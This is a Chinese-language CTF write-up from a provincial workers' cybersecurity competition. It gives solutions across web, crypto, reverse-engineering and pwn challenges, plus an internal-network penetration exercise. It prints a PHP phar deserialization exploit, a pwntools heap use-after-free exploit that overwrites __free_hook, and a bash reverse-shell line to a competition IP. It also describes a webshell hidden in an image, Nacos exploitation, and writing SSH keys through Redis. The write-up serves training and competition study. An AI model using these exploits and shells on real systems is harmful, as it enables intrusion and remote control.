四川省职工职业技能大赛网络安全决赛WP
上午CTF部分
web
simplelogin
yakit爆破出密码,记得应该是a123456:
ppopp
index.php有一个任意文件读取:
<?php
//upload.php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $a;
public function __destruct()
{
$s=$this->$a;
$s();
}
}
class B{
public $cmd;
function __invoke(){
return $this->start();
}
function start(){
echo system($this->cmd);
}
}
if(isset($_GET['file'])) {
if(strstr($_GET['file'], "flag")) {
die("Get out!");
}
echo file_get_contents($_GET['file']);
}
?>
读取upload.php:
<!--?php
error_reporting(0);
if(isset($_FILES['file'])) {
mkdir("upload");
$uuid = uniqid();
$ext = explode(".", $_FILES["file"]["name"]);
$ext = end($ext);
move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".png");
echo "Upload Success! FilePath: upload/".$uuid.".png";
}-->
上传的文件会被改后缀为.png
尝试上传phar文件,并用首页的file_get_contents触发反序列化执行命令:
// phar.php
<?php // phar.php
class A {
public $a;
public function __destruct()
{
$s=$this->a;
$s();
}
}
class B{
public $cmd;
function __construct(){
$this->$cmd = "cat flag";
}
function __invoke(){
return $this->start();
}
function start(){
system($this->cmd);
}
}
$b = new B();
$b->cmd = "cat /flag";
$a = new A();
$a->a = $b;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("a.txt", "abb"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
上传后访问:
misc
ftp
流量提取zip,然后密码一样password1234567890
crypto
baby_与佛论禅
aes但是对结果进行了异或后转换成字符,所以转回去解aes就可以
ruShiWoWen = [
'謹', '穆', '僧', '室', '藝', '瑟', '彌', '提', '蘇', '醯', '盧', '呼', '舍', '參', '沙', '伊',
'隸', '麼', '遮', '闍', '度', '蒙', '孕', '薩', '夷', '他', '姪', '豆', '特', '逝', '輸', '楞',
'栗', '寫', '數', '曳', '諦', '羅', '故', '實', '訶', '知', '三', '藐', '耨', '依', '槃', '涅',
'竟', '究', '想', '夢', '倒', '顛', '遠', '怖', '恐', '礙', '以', '亦', '智', '盡', '老', '至',
'吼', '足', '幽', '王', '告', '须', '弥', '灯', '护', '金', '刚', '游', '戏', '宝', '胜', '通',
'药', '师', '琉', '璃', '普', '功', '德', '山', '善', '住', '过', '去', '七', '未', '来', '贤',
'劫', '千', '五', '百', '万', '花', '亿', '定', '六', '方', '名', '号', '东', '月', '殿', '妙',
'尊', '树', '根', '西', '皂', '焰', '北', '清', '数', '精', '进', '首', '下', '寂', '量', '诸',
'多', '释', '迦', '牟', '尼', '勒', '阿', '閦', '陀', '中', '央', '众', '生', '在', '界', '者',
'行', '于', '及', '虚', '空', '慈', '忧', '各', '令', '安', '稳', '休', '息', '昼', '夜', '修',
'持', '心', '求', '诵', '此', '经', '能', '灭', '死', '消', '除', '毒', '害', '高', '开', '文',
'殊', '利', '凉', '如', '念', '即', '说', '曰', '帝', '毘', '真', '陵', '乾', '梭', '哈', '敬',
'禮', '奉', '祖', '先', '孝', '雙', '親', '守', '重', '師', '愛', '兄', '弟', '信', '朋', '友',
'睦', '宗', '族', '和', '鄉', '夫', '婦', '教', '孫', '時', '便', '廣', '積', '陰', '難', '濟',
'急', '恤', '孤', '憐', '貧', '創', '廟', '宇', '印', '造', '經', '捨', '藥', '施', '茶', '戒',
'殺', '放', '橋', '路', '矜', '寡', '拔', '困', '粟', '惜', '福', '排', '解', '紛', '捐', '資']
enc = "急陰印诵愛謹者時守蒙薩宝至勒量央多牟德殺拔万诸心弥闍忧生诵惜惜矜藥稳灯经急琉羅贤迦弟消吼释心姪室經藝幽他信想室幽究除利宗护及闍究究劫信逝此栗究兄寫树寡鄉弥幽信去"
dec = b''
for i in enc:
dec += (ruShiWoWen.index(i) ^ 64).to_bytes(1, 'little')
KEY = b'DASCTF@Key@^_^@Encode!!Buddha!!!'
IV = b'IV|DASCTF|OvO|IV'
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
cryptor = AES.new(KEY, AES.MODE_CBC, IV)
# padded_data = pad(data.encode('utf-8'), AES.block_size)
encrypted_data = cryptor.decrypt(dec)
print(encrypted_data)
re
NormalAndroid
jadx打开看到只调用了so里的一个函数,ida跟过去看:
能看到一个类似key的东西,并且对key进行了变换:
表:
表
然后进入到加密逻辑是一个AES加密,跟过去是S盒被改过:
所以就是找一个aes实现的代码改一下S盒,然后用变换过的key解密,因为断网比赛,当时没存脚本所以没做出来:
from Crypto.Util.number import long_to_bytes, bytes_to_long
# https://github.com/bozhu/AES-Python/blob/master/aes.py
Sbox = (
0xBE, 0xB4, 0x9F, 0x70, 0xDB, 0xAD, 0x31, 0x30, 0x6C, 0x87,
0x74, 0x27, 0xC9, 0x4C, 0x67, 0x62, 0x0A, 0x36, 0x08, 0xC8,
0x96, 0x32, 0x00, 0xF1, 0x38, 0x65, 0xEC, 0xED, 0x44, 0x25,
0xAA, 0x33, 0x86, 0xEF, 0x0D, 0x19, 0x7D, 0xD5, 0x45, 0xFB,
0x8D, 0x61, 0xFE, 0x50, 0x47, 0x7E, 0x7C, 0xF9, 0x01, 0xDE,
0xFF, 0xE1, 0xAC, 0x5D, 0xB5, 0x8E, 0x48, 0xBF, 0x90, 0x9D,
0x79, 0xCB, 0xA6, 0xA9, 0xFC, 0x34, 0xCF, 0x63, 0x5A, 0x99,
0x98, 0xB8, 0x92, 0x2D, 0x02, 0x89, 0x2C, 0x3B, 0x15, 0x72,
0x5E, 0x60, 0x29, 0x6F, 0x0B, 0x24, 0x6D, 0x1C, 0x5B, 0xE0,
0x37, 0xA4, 0xCC, 0x12, 0x93, 0xA7, 0x09, 0xC6, 0xB6, 0x8F,
0x04, 0x20, 0xE8, 0x46, 0xB1, 0xAE, 0x3A, 0x68, 0x81, 0xCE,
0x2B, 0x0C, 0xB3, 0x3E, 0xC0, 0x0E, 0x4D, 0xD8, 0xD2, 0xA2,
0x9E, 0x56, 0x28, 0xB0, 0x35, 0x1B, 0x5F, 0xF5, 0x05, 0xBC,
0x3C, 0x4F, 0x8C, 0xE6, 0xF6, 0x75, 0xF4, 0xF8, 0xDD, 0x11,
0xC1, 0xB9, 0x4E, 0x97, 0xD6, 0xF2, 0xE4, 0xD1, 0x82, 0xD3,
0x03, 0x8B, 0x4B, 0xCA, 0x64, 0xEB, 0xAB, 0x71, 0xA1, 0xBA,
0xA8, 0x6A, 0x1E, 0x1A, 0xA5, 0x49, 0x6E, 0x53, 0x66, 0x39,
0x51, 0xE9, 0x26, 0xC4, 0xDA, 0x55, 0x3F, 0xEA, 0x85, 0x8A,
0xD9, 0x13, 0x69, 0x1F, 0xE2, 0x7F, 0x2F, 0xC5, 0x88, 0x57,
0x73, 0xA3, 0xE3, 0x0F, 0xBB, 0x18, 0xE5, 0x42, 0x22, 0x52,
0x43, 0x80, 0x2A, 0x6B, 0x17, 0xD7, 0x23, 0x06, 0x58, 0x1D,
0x7A, 0x84, 0xE7, 0xEE, 0xD0, 0x41, 0xD4, 0xBD, 0xA0, 0xC3,
0xC2, 0xFD, 0x21, 0x54, 0xDF, 0x7B, 0xB7, 0xF0, 0xB2, 0x77,
0x3D, 0x07, 0x78, 0x16, 0x9C, 0x59, 0xAF, 0x2E, 0x83, 0xFA,
0x9B, 0x95, 0xF7, 0x40, 0x94, 0xF3, 0xCD, 0xC7, 0x91, 0x10,
0xDC, 0x4A, 0x14, 0x9A, 0x5C, 0x76
)
InvSbox = [Sbox.index(i) for i in range(256)]
# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
Rcon = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def text2matrix(text):
matrix = []
for i in range(16):
byte = (text >> (8 * (15 - i))) & 0xFF
if i % 4 == 0:
matrix.append([byte])
else:
matrix[i // 4].append(byte)
return matrix
def matrix2text(matrix):
text = 0
for i in range(4):
for j in range(4):
text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
return text
class AES:
def __init__(self, master_key):
self.change_key(master_key)
def change_key(self, master_key):
self.round_keys = text2matrix(master_key)
# print self.round_keys
for i in range(4, 4 * 11):
self.round_keys.append([])
if i % 4 == 0:
byte = self.round_keys[i - 4][0] \
^ Sbox[self.round_keys[i - 1][1]] \
^ Rcon[i // 4]
self.round_keys[i].append(byte)
for j in range(1, 4):
byte = self.round_keys[i - 4][j] \
^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
self.round_keys[i].append(byte)
else:
for j in range(4):
byte = self.round_keys[i - 4][j] \
^ self.round_keys[i - 1][j]
self.round_keys[i].append(byte)
# print self.round_keys
def encrypt(self, plaintext):
self.plain_state = text2matrix(plaintext)
self.__add_round_key(self.plain_state, self.round_keys[:4])
for i in range(1, 10):
self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])
self.__sub_bytes(self.plain_state)
self.__shift_rows(self.plain_state)
self.__add_round_key(self.plain_state, self.round_keys[40:])
return matrix2text(self.plain_state)
def decrypt(self, ciphertext):
self.cipher_state = text2matrix(ciphertext)
self.__add_round_key(self.cipher_state, self.round_keys[40:])
self.__inv_shift_rows(self.cipher_state)
self.__inv_sub_bytes(self.cipher_state)
for i in range(9, 0, -1):
self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])
self.__add_round_key(self.cipher_state, self.round_keys[:4])
return matrix2text(self.cipher_state)
def __add_round_key(self, s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
def __round_encrypt(self, state_matrix, key_matrix):
self.__sub_bytes(state_matrix)
self.__shift_rows(state_matrix)
self.__mix_columns(state_matrix)
self.__add_round_key(state_matrix, key_matrix)
def __round_decrypt(self, state_matrix, key_matrix):
self.__add_round_key(state_matrix, key_matrix)
self.__inv_mix_columns(state_matrix)
self.__inv_shift_rows(state_matrix)
self.__inv_sub_bytes(state_matrix)
def __sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = Sbox[s[i][j]]
def __inv_sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = InvSbox[s[i][j]]
def __shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def __inv_shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def __mix_single_column(self, a):
# please see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def __mix_columns(self, s):
for i in range(4):
self.__mix_single_column(s[i])
def __inv_mix_columns(self, s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
self.__mix_columns(s)
key = b"Hi Android!0oO00"
table = [
0x0A, 0x02, 0x01, 0x0D, 0x0B, 0x09, 0x0E, 0x08, 0x07, 0x05,
0x00, 0x04, 0x0F, 0x03, 0x06, 0x0C
]
key = bytes([key[i] for i in table])
enc = [
0x29, 0x9C, 0xB0, 0x7E, 0x81, 0x55, 0x5B, 0x08, 0x55, 0x6F,
0x70, 0xC8, 0x2A, 0x8B, 0xA4, 0xC8, 0xA3, 0x3A, 0x60, 0x9B,
0x6E, 0xFD, 0xDC, 0x7A, 0xC7, 0x6B, 0xCC, 0xAC, 0x32, 0xB3,
0xDF, 0x3E
]
flag = b""
cipher = AES(bytes_to_long(key))
dec = cipher.decrypt(bytes_to_long(bytes(enc[:16])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
dec = cipher.decrypt(bytes_to_long(bytes(enc[16:])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
print(flag)
pwn
shopping
添加一个货物会分配两个0x98,释放后没置空导致存在uaf,创建多个堆块后释放到unsorted bin泄露libc,然后利用编辑功能修改tcache的bk为freehook,填入one_gadget利用
from pwn import *
libc = ELF("./libc.so.6")
# p = process("./pwn_1")
p = remote("10.1.100.34", 9999)
# context.log_level = 'debug'
def add(content):
p.sendlineafter(": ", b"2")
p.sendlineafter(": ", b"1")
p.sendlineafter(":", content)
def free(idx):
p.sendlineafter(": ", b"3")
p.sendlineafter(": ", str(idx).encode())
def show():
p.sendlineafter(": ", b"5")
def edit(idx, content):
p.sendlineafter(": ", b"4")
p.sendlineafter(": ", str(idx).encode())
p.sendlineafter(":", content)
for i in range(9):
add(b'a')
for i in range(8):
free(i)
show()
p.recvuntil(b"------------------------------\n")
heap = int(p.recvuntil(b" "), 10) - 0xc50
success(f"heap: {hex(heap)}")
p.recvuntil(b"------------------------------\n")
p.recvuntil(b"------------------------------\n")
libc.address = int(p.recvuntil(b" "), 10) - 0x3ebca0
success(f"libc: {hex(libc.address)}")
# pause()
edit(3, p64(libc.sym['__free_hook']))
add(p64(libc.address + 0x4f302))
add(p64(libc.address + 0x4f302))
free(0)
p.interactive()
ai
scene-1
scene-2
另外两个AI题目,准备了本地的llama3和codellama的大模型(用ollama),但是比赛的时候没能成功让大模型写出来解题代码。
下午国产化环境漏洞挖掘赛部分
flag1
上来打开robots.txt:
然后扫到一个DS_Store
打开能看到test.php,同时扫描器也扫到test.php,可以上传文件
flag2
上传图片,有一些检查,所以直接在正常图片末尾加一句话木马,蚁剑连接
弹个shell回来:
bash -i >& /dev/tcp/10.50.137.28/23333 0>&1
上传fscan,cat /proc/net/arp看内网,然后扫网段192.168.35.1/24
然后拉代理出来
flag3
xray扫到一台nacos,用vulhub的脚本挂代理打:
登陆后看到flag3:
flag7
nacos里的另一个配置文件里有一个密码xinchuang123qwe,用这个密码连redis,写公钥然后SSH上去可以看到flag7,在192的机器里。
flag10
flag10要求计算麒麟主机的/proc/version的md5,实际上就是入口机器,但是这个文件用哥斯拉的马才能读取:
赛题附件下载地址:链接: https://pan.baidu.com/s/1t-d-s4g-QN90e1B0ekBK3A 提取码: eyj8
原文转载链接地址:
https://mp.weixin.qq.com/s/-3Am_wGCgc2aOaedk91g9w